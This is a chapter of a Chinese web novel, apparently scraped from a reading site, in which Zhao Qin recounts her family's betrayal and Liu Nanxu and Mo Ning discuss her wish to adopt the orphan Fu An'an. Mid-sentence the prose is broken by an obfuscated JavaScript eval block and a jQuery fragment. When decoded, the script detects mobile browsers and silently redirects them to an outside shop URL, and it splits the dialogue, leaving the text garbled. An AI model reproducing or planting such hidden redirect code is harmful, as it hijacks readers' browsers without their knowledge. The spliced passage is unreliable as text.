赵芹被烦得心寒、恶心,干脆连月子也不坐了,拖着身体再次投入到工作中,直到儿子上了幼儿园,咬牙果断拿钱自己创办了一家公司,算是表明要和父母那边划清界限。
虽然投资成本不大,但赵芹多年积攒下来的人脉是实打实的,公司一天比一天好,也称得上是盆满钵满。
公司从小迅速壮大,甚至把父母的生意压得简直没有活路,家里人除了赵茉外,其余的人一见到赵芹就言语呛她,指责她是个白眼狼。
赵芹懒得同他们浪费口舌,把所有的反击全都留在生意场上。
那个时候,赵芹不光目光长远,手段更是狠辣。
如果不是五年前的那场意外,她说不定真的会报复性地吞并掉父母的公司,而不是像现在这样,早早当了甩手掌柜,把公司交给信任的人帮忙打理,自己一年到头也不去几次,整天独自在家喝茶、看书,连个说话的人都没有。
命运上的变故总是让人唏嘘,最关键的是没有“如果”一说,不管是悲伤的事,还是高兴的事,发生了就是发生了,任谁也改变不了。
好在人类最强大的能力不在于发明和创造,而是在于当祸事接二连三以迅雷不及掩耳之势找上门的时候,我们依然有能力找到扛过风浪的办法,直到一切回归正轨。
谈及往事,赵芹原本套在身上的坚硬外壳早已被击碎,留下的不过是和两个爱人相隔甚远的皮囊。
她的语速很慢很慢,偶尔讲着讲着会停顿住陷入回忆,花了一个多小时把往事讲完,这次她没再落泪。
莫宁听故事的反倒哭了,一张脸被眼泪糊得乱七八糟,还因为生怕打扰到赵芹,不敢发生太大的动静,憋得耳朵尖都红着。
赵安梦同样好不到哪儿去,只是垂着头,脸被头发遮挡得严实,看上去比莫宁状态要好而已。
不光她们两个,柳南絮同样不知道眼下该说些什么才好,千言万语拥堵在喉咙口,吐出来的不过是“节哀”这个从头到尾散发着无力的词。
“所以,”柳南絮堪堪找回之前的话题,“赵女士你害怕我这个职业,是后来又发生了什么事吗?”
赵芹拿起水杯哆嗦着手把剩下的水喝完,才说:“我之所以把公司交给别人帮忙打理,是因为在我儿子去世后我的状态非常不好,根本没办法投入到工作上。”
“为了让自己尽快恢复,我去看了心理医生,没想到对方被我母亲收买了,根据他的治疗方法,我的状态愈发差劲,也愈发依赖药物。”
“这些内情还是我姐姐无意间偷听到了母亲和父亲的对话,然后特意告知了我,不然,我现在早就如他们的意被关进精神病院了。”
赵安梦抬头愣愣地看着赵芹,显然也是第一次得知这件事。
莫宁也看过心理医生,不敢想象在自己本来就崩溃的状态下又叠加上这种事,自己还能不能撑得过去。
这种人分明就是行业之耻,柳南絮也坐不住了,追问:“那个心理医生最终怎么样?”
“被法律制裁了。”赵芹吐出一口气,苦涩地笑了一下,“只是我对这类行业还是心存芥蒂,总觉得自己会被看穿,浑身不自在。”
因为害怕,所以只能用冷漠把自己包裹起来。
谁也没想到,今天晚上这顿饭能翻搅出如此多的痛苦,登时眼下的情况变得谁开口说话都不太合适,于是包厢内再次陷入安静。
最终还是赵芹拿起筷子,示意大家吃饭。
美味佳肴吃到嘴里如同嚼蜡,一顿饭吃完时间已经临近半夜,赵芹没再提“怎么和福安安打好关系”这个问题,倒是在分别前向柳南絮提出“再一起去全健福利院”的请求。
柳南絮没有拒绝,很爽快地答应了。
莫宁从赵安梦开车载着赵芹回家就表现出有话要说的样子,柳南絮本来想让她自己说,奈何莫姑娘忍耐力与日俱增,车子都在“镇东村”的马路边停稳了,她还是没说。
柳南絮实在搞不懂她要说的话有什么值得顾虑的,只好主动问:“你想说什么?”
莫宁刚开始还打起哈哈,说:“我没什么想说的啊!”
既然自己主动问,她还是不说,柳南絮不管了,提醒道:“那行,到村口了。”
莫宁也没想到柳南絮会来这一招对付自己,生怕被赶下去,忙说:“好吧!好吧!我确实有话想说。”
柳南絮没说话,但是扭头把视线往莫宁身上放了一下。
莫宁看懂这是让自己说话的意思,瞅着柳南絮问:“你是不是觉得赵女士很可怜呀?”
这话问的就挺有意思,柳南絮不由得心想:她这样问,在包厢里面哭成那样,该不会是装的吧?
要真是装的,那演技进步也太快了。
柳南絮想着,便没有回答,反问:“这话问的,难道你不觉得?”
莫宁回答得很快,说话语气都在替赵芹觉得不公,道:“怎么不觉得?赵女士既没有一个良好的原生家庭,心爱的丈夫又为国捐躯,早早离她而去,没多久又承受起丧子之痛,看个心理医生还被算计,这都什么事?我光听着都难受。”
“所以你到底想说什么?”柳南絮指了指显示屏上的时间,提醒莫宁已经很晚了,没那么多时间浪费。
莫宁往柳南絮那边凑了凑,说话的音量也降低了,终于问道:“我是想知道你会不会帮赵女士同福安安打好关系,她最后说的那话,要和你一起去全健福利院是什么意思,我可听明白了,你肯定也听明白了。”
柳南絮刚无声表示过没那么多时间浪费,这会儿轮到自己回答,又把问题给莫宁丢了回去。
“你认为我应不应该帮助赵女士同福安安打好关系?”
“不应该。”莫宁回答得相当简单且果断。
柳南絮和莫宁想到了一起,但还是问她为什么。
莫宁还以为柳南絮追问是因为打算帮助赵女士,瞬间拿出架势阻止他。
“虽然赵女士确实很可怜,但是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14277383|151808||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
福安安就不可怜吗?”
“‘被收养’确实是福利院大多孩子最渴望的一件事,可福安安明显不是大多数孩子,他在小部分那里面。”
“再说了,愿不愿意被收养是看福安安自己的想法,而不是被人洗脑干涉后做出的决定,说直白点,你要是只站在赵女士的角度去帮忙的话,实在不合适。”
柳南絮装作虚心请教的样子,道:“那你说说,我怎么做才能让两边都满意?”
“不如有机会的话,把他们两个叫到一起好好聊聊怎么样?”莫宁不看柳南絮了,目视正前方,“主要是我和福安安接触得太少了,目前只能想到这一个办法。”
柳南絮点点头,夸赞道:“主意不错,之后我先各自在私下问问他们愿不愿意,如果愿意的话,按照你说的那样,坐一起聊聊。”
“其实吧!掺和这种事儿对我来说挺难的,还真有点佩服你的工作。”莫宁说着伸出右手,“柳南絮,一起加油吧!虽然我年纪小,社会经验不足,但是会尽量不拖你后腿的。”
柳南絮无视莫宁伸过来的手掌,一边解安全带一边说:“没觉得你拖我后腿,恰恰相反,要不是有你,很多线索单凭我一个人根本找不到,很多事也处理不了。”
“太谦虚了。”莫宁撇了一下嘴,有些尴尬地收回手,随即迅速解开安全带,和柳南絮同时拉开车门下车。
回家的路上同往常一样没有灯,但并算不上是漆黑一片,柳南絮快莫宁半步,看起来像是个探路者。
今晚风的步子都很轻,是一个平静的天气。
两人耳边响起的只有脚步声,莫宁这个小话痨都无比享受当下的氛围。
突然,不知道哪里传出野猫的叫喊声,难得舒适的氛围当即被打断。
野猫的叫喊声还在持续,莫宁也憋不住了,没话找话问:“柳南絮,还有你办不到的事吗?”
柳南絮被问笑了,说:“我没想到你看我的滤镜这么厚,我只是一个人,肯定会有了。”
莫宁听见柳南絮笑了,也扬起嘴角,非要柳南絮举个例子。
“就比如……”柳南絮想到件有意思的事,卖了一下关子才说,“我找不到一张比21.60更少的截图。”
“怎么可能?浏览器上一搜索绝对有。”莫宁前一秒还急于反驳柳南絮,后一秒便闭上嘴开始认真想柳南絮说的话的意思。
大约过了三秒,莫宁想明白了,快步走到柳南絮面前,不可思议地看着他,问:“所以那个时候你是故意的?”
“对呀!我就是故意的。”柳南絮笑得更加得意。
莫宁顿时气不打一处来,问道:“柳南絮,我当时那么严肃紧张,你还有心情开玩笑?幼不幼稚?你知不知道我都在想要留在那里刷多久盘子才能付得起那一桌子饭钱了?”
“知道你紧张,那不是想着让你放松点。”柳南絮抓抓头发,像是后知后觉意识到太傻,“确实太幼稚了,只是我没想到那都能骗到你。”